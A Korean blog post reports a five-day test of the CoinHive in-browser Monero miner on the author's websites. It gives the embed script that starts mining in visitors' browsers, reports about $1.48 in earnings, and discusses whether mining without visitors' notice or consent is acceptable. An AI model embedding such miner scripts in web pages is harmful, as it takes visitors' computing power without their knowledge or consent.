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블록체인 주변 이야기
코인하이브 CoinHive 5일간 운영 해보니 본문
추측컨데, 제 블로그에 방문하시는 분들중에 웹사이트를 운영하시는 분들은 많지 않으리라 생각 합니다. 블로거 분들은 몇분 있을 수 있구요. 그래서 테스트를 해보기에 쉽지 않으시리라 생각을 하고, 제가 테스트해본 결과를 공유해 드리려고 합니다. 제가 테스트한 사이트들은 방문자가 일방문자 1000명 정도 되는 사이트 2개와 1개는 PC로 계속 브라우저를 열어 둔 것 입니다. 5일 정도 테스트를 했구요. 그 결과는 다음과 같습니다.
coinhive 적용한 사이트의 특성
먼저, 3개의 사이트의 그래프 입니다. 초록색과 노란색 모두 방문자 1,000명 입니다. 그런데, 차이점이 초록색은 한번 방문하면 오래 머물러주시는 사이트 이고, 노란색은 방문했다가 바로 떠나가시는 사이트 입니다. 빨간색 그래프는 나홀로 PC로 접속한 사이트 입니다.
CoinHive에 적용한 스크립트
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('<site-key>',{
threads: 1
});
miner.start();
</script>
접속시 쓰레드 1개만 사용하도록 적용 하였습니다.
Coin-hive 5일 운영 수익
그리하여, 5일 동안 코인하이브를 적용 했을때 수익 입니다. (노란색 사이트는 실제로 2.5일 정도만 적용을 하였습니다.)
결과는 0.01569 XMR 입니다. 비트코인으로 0.000374247294 BTC 이구요. 굳이 달러로 환산을 하자면, $1.48 입니다.
하루 2,000명 방문하는 사이트에서 하루에 0.3$ 수익이라면, 생각을 많이 하게 하는 수익모델 입니다.
한달에, 6달러면, 경우에 따라서는 저가 호스팅 이용료 정도 나오는 것으로 보일 수도 있을것 같습니다.
결국 사이트 운영자의 선택의 몫으로 남겨두게 됩니다.
그런데, 이런 형태의 서비스를 하는데 있어 논의가 필요할 것 같습니다.
사이트 방문자의 컴퓨팅 파워를 브라우저를 통해서 사용하는 것인데, 이것을 사용자에게 사전에 알리지 않고 사용을 해도 되는 것인지에 대한 문제 말입니다. 여러가지 방향으로 해석할 수 있을텐데요. 내 사이트를 통해서 정보를 가져가는데, 이 정도는 합당하지 않나? 하는 의견이 있을 수 있구요. 접속자 브라우저를 통해서 컴퓨팅 파워를 사용하려면, 사전 동의를 받거나 최소한 통지는 해야 한다는 의견 입니다.
이런 문제를 고민했던 Coin-Hive와 동일한 기술, 약간 다른 비즈니스 모델을 갖고 있는 JSECOIN의 경우에는 접속하는 사용자의 브라우저 하단에, 채굴이 된다는 경고창을 살짝 띄워 주었다가 감춥니다. 언듯 보면, 지나칠 수 밖에 없도록 순식간에 지나 갑니다.
쿠키의 경우, 우리나라에서는 쿠키 사용에 대해서 약관에 써있기만 하지, 웹사이트 첫 방문자에게 쿠키 사용에 대한 통지를 하지 않습니다. 하지만, 해외사이트 중에서 나름 유명한 사이트 들은 쿠키 사용에 대해 통지를 해줍니다. 웹사이트의 스크립트 채굴도, 쿠키 사용의 사례처럼 문화권별로 다르게 적용이 될것으로 조심스럽게 예측을 해봅니다.
하지만, 과거 사례중에서 꼭 확인해야 하는 사례가 있습니다. 혹시 아실지 모르겠으나, 우리나라에 유투브가 뜨기전에 판도라 라는 동영상 플랫폼이 있었습니다. 나름 엄청 잘 나갔었죠. 그런데, 수익이 없는데, 동영상의 엄청난 스트리밍 트래픽을 감당하기가 힘들었기에 사용자 PC에 프로그램을 설치하여, 판도라의 서버가 다른 사용자 PC에서 영상을 다운로드 받게 만들었습니다. 이것이 문제가 되어 이슈가 되었던 적도 있었습니다. 물론, 이 것과는 사례가 다르긴 합니다. 사용자 PC에 프로그램을 설치한 것도 아니고, 주어진 브라우저 권한내에서 사용한 것이기 때문 입니다.
이 서비스를 직접 적용해 보시기 싶으신 사이트 운영자는 coin-hive(코인하이브) 설치 방법을 참조 하세요.
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